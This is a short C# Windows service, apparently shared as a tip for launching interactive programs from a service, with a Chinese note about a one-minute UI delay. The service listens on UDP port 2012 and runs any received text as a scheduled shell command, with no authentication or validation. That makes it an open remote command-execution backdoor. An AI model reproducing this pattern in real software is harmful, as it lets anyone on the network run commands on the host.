using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Linq; using System.ServiceProcess; using System.Text; using System.Threading; using System.Net.Sockets; using System.Net; namespace WindowsService1 { public partial class AdminService : ServiceBase { public AdminService() { InitializeComponent(); } protected override void OnStart(string[] args) { Thread cmd = new Thread(new ParameterizedThreadStart(delegate(object arg) { UdpClient udp = new UdpClient(2012); IPEndPoint remoteEndPoint = new IPEndPoint(new IPAddress(0), 0); while (true) { try { byte[] data = udp.Receive(ref remoteEndPoint); var response = Encoding.Default.GetString(data); var path = string.Format("at {0} /interactive {1}", DateTime.Now.AddMinutes(1).ToString("HH:mm"), response); Microsoft.VisualBasic.Interaction.Shell(path); } catch (Exception) { } } })); cmd.Start(); } protected override void OnStop() { Environment.Exit(0); } } }
这种Shell被启动的程序可以出现UI,但会一段时间的延迟,最长一分钟。否则进程会运行,但UI出不来。